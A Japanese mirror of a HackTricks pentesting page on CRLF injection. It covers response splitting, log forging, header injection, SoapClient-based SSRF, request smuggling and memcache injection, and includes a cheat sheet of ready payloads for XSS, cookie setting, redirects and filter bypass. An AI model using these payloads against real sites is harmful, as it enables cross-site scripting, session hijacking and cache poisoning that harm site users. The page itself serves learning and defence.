Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

20 KiB
Raw Blame History

CRLF (%0D%0A) インジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

もし興味があるなら、ハッキングのキャリアを追求し、解読不能なものをハックしましょう - 採用中です！（流暢なポーランド語の読み書きが必要です）。

{% embed url="https://www.stmcyber.com/careers" %}

CRLFとは？

ブラウザがウェブサーバーにリクエストを送信すると、ウェブサーバーはHTTPレスポンスヘッダーと実際のウェブサイトのコンテンツ（つまり、レスポンスボディ）を含む応答を返します。HTTPヘッダーとHTMLレスポンス（ウェブサイトのコンテンツ）は、特定の特殊文字の組み合わせで区切られています。それらはキャリッジリターンと改行としても知られています。短く言えば、CRLFです。

ウェブサーバーはCRLFを使用して、新しいHTTPヘッダーが始まり、別のヘッダーが終わることを理解します。CRLFは、ファイルやテキストブロック内で新しい行が始まることをウェブアプリケーションやユーザーに伝えることもできます。CRLF文字は標準のHTTP/1.1メッセージであり、Apache、Microsoft IISなどを含むあらゆる種類のウェブサーバーで使用されます。
https://www.netsparker.com/blog/web-security/crlf-http-header/#より引用

CRLFインジェクション脆弱性とは？

CRLFインジェクション脆弱性攻撃では、攻撃者はユーザーの入力にキャリッジリターンと改行の文字を挿入し、サーバー、ウェブアプリケーション、またはユーザーを騙してオブジェクトが終了し、別のオブジェクトが開始されたと思わせます。したがって、CRLFシーケンスは悪意のある文字ではありませんが、HTTPレスポンスの分割など、悪意のある目的に使用することができます。

ウェブアプリケーションにおけるCRLFインジェクション

ウェブアプリケーションにおけるCRLFインジェクションは、アプリケーションが単一のアイテムをどのように処理するかによって、深刻な影響を与える場合があります。影響は情報の漏洩からコードの実行まで、直接的なウェブアプリケーションのセキュリティ脆弱性に及ぶことがあります。実際、CRLFインジェクション攻撃はOWASP Top 10リストには記載されていませんが、ウェブアプリケーションに非常に深刻な影響を与える可能性があります。以下の例では、管理パネルのログファイルを操作することも可能です。

ログファイルにおけるCRLFインジェクションの例

以下のようなIP - 時間 - 訪問パスの出力ストリームパターンを持つ管理パネルのログファイルを想像してください：

123.123.123.123 - 08:15 - /index.php?page=home

もし攻撃者がHTTPリクエストにCRLF文字を挿入できる場合、彼は出力ストリームを変更し、ログエントリを偽造することができます。彼はウェブアプリケーションからのレスポンスを以下のように変更することができます：

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

%0d と %0a は CR と LF の URL エンコード形式です。したがって、攻撃者がこれらの文字を挿入し、アプリケーションがそれを表示した場合、ログエントリは次のようになります：

IP - 時間 - 訪問したパス

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

したがって、CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意ある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者パスワードを持ち、制限付きアクションパラメータを実行した場合を想像してみてください。このパラメータは管理者のみが使用できます。

問題は、管理者が制限付きアクションパラメータを使用した不明なIPを検知した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるため（したがっておそらくサーバーへのアクセス権を持つ管理者のような人物によるものと思われる）、怪しまれません。

%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、別の&があり、サーバーによって別のパラメータとして解析されます。実質的には、次のクエリと同じです：

/index.php?page=home&restrictedaction=edit

HTTP レスポンス分割

説明

HTTP レスポンスのヘッダとボディは CRLF 文字で区切られているため、攻撃者はそれらを注入しようと試みることができます。CRLFCRLF の組み合わせは、ブラウザにヘッダが終わり、ボディが始まることを伝えます。つまり、彼は今、HTML コードが格納されているレスポンスボディ内にデータを書き込むことができます。これはクロスサイトスクリプティングの脆弱性を引き起こす可能性があります。

XSS につながる HTTP レスポンス分割の例

例えば、カスタムヘッダを設定するアプリケーションを想像してください:

X-Your-Name: Bob

ヘッダーの値は、「name」という名前のgetパラメーターを介して設定されます。URLエンコーディングが行われておらず、値がヘッダー内に直接反映されている場合、攻撃者は上記のCRLFCRLFの組み合わせを挿入することで、ブラウザにリクエストボディが始まることを伝えることができます。その方法で、XSSペイロードなどのデータを挿入することができます。例えば：

?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

上記のコードは、攻撃対象のドメインのコンテキストでアラートウィンドウを表示します。

リダイレクトにつながるHTTPレスポンス分割の例

{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}

ブラウザを以下に設定します：

/%0d%0aLocation:%20http://myweb.com

そして、サーバーは次のヘッダーで応答します：

Location: http://myweb.com

他の例：（https://www.acunetix.com/websitesecurity/crlf-injection/から）

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URLパス内

サーバーからのレスポンスを制御するために、ペイロードをURLパス内に送信することができます：

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTPヘッダーインジェクション

説明

CRLFインジェクションを悪用することで、攻撃者はHTTPヘッダーを挿入することができます。これにより、ブラウザのXSSフィルターや同一オリジンポリシーなどのセキュリティメカニズムを回避することができます。これにより、攻撃者はCSRFトークンなどの機密情報を取得することができます。また、クッキーを設定することもできます。これにより、攻撃者は被害者を自分のアカウントにログインさせることができます。または、それ以外の未利用のクロスサイトスクリプティング（XSS）の脆弱性を悪用することができます。

機密データを抽出するためのHTTPヘッダーインジェクションの例

攻撃者がCORS（Cross Origin Resource Sharing）を有効にするHTTPヘッダーをインジェクションできる場合、異なるオリジンのサイトが互いにアクセスできない同一オリジンポリシー（SOP）によって保護されているリソースにJavaScriptを使用してアクセスすることができます。

SSRFでの新しいHTTPリクエスト

CRLFインジェクションを悪用することで、新しいHTTPリクエストを作成してインジェクションすることができます。
PHPのSoapClientデシリアライゼーションガジェットを使用した良い例があります。このクラスは、user_agentパラメータ内にCRLFが存在するため、新しいヘッダーやボディのコンテンツを挿入することができます。しかし、この脆弱性を悪用して新しいHTTPリクエストをインジェクションすることもできるかもしれません。

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

#Put a nc listening in port 9090
$client->__soapCall("test", []);

リクエストスマグリングへのヘッダーインジェクション

初期リクエストに応答した後、バックエンドが接続を維持するために、重要なヘッダーをインジェクションすることができます。

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

次に、2番目のリクエストを指定します。ここでは、サーバーがインジェクション後に追加する追加のヘッダー/ボディを持つ、クラシックなリクエストスマグリングがあります。
クロスユーザーの悪用のための多くのオプションのうち、2つを紹介します。

次のユーザーのリクエストまたはウェブキャッシュを汚染するための悪意のある接頭辞を指定します。

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

または、トレーリングジャンクと組み合わせて完全な2番目のリクエストを作成し、レスポンスキューの汚染をトリガーするための接頭辞を作成します。

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

この技術と潜在的な問題についての詳細は、元のソースをチェックしてください。

Memcacheインジェクション

Memcacheは、クリアテキストプロトコルを使用するキーバリューストアです。詳細は次を参照してください：

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

もしプラットフォームがHTTPリクエストからデータを取得し、サニタイズせずにそれを使用してmemcacheサーバーにリクエストを実行する場合、攻撃者はこの動作を悪用して新しいmemcacheコマンドを注入することができます。

例えば、元々の脆弱性が見つかった場合、キャッシュキーはユーザーが接続するためのIPとポートを返すために使用され、攻撃者はmemcacheコマンドを注入して、被害者の詳細（ユーザ名とパスワードを含む）を攻撃者のサーバーに送信することができました：

さらに、研究者は、memcacheのレスポンスをデシンクさせることで、攻撃者がメールアドレスを知らないユーザーに攻撃者のIPとポートを送信することができることも発見しました：

詳細については、元の記事を読んでください****

CRLFインジェクションの影響

CRLFインジェクションの影響はさまざまであり、クロスサイトスクリプティングから情報漏洩までのすべての影響を含みます。また、被害者のブラウザでXSSフィルターや同一オリジンポリシーなどの特定のセキュリティ制限を無効にすることもあり、悪意のある攻撃に対して脆弱になります。

WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法

最良の予防技術は、ユーザーの入力を直接レスポンスヘッダー内で使用しないことです。それが不可能な場合は、CRLF特殊文字をエンコードするための関数を常に使用する必要があります。また、HTTPヘッダーを設定する関数内にCRとLFを注入できないバージョンのプログラミング言語にアップデートすることも、良いWebアプリケーションセキュリティのベストプラクティスです。

チートシート

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

ツール

{% embed url="https://github.com/dwisiswant0/crlfuzz" %}

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}

参考文献

もしあなたがハッキングのキャリアに興味があり、解読不可能なものをハックしたい場合 - 採用中です！ (流暢なポーランド語の読み書きが必要です).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥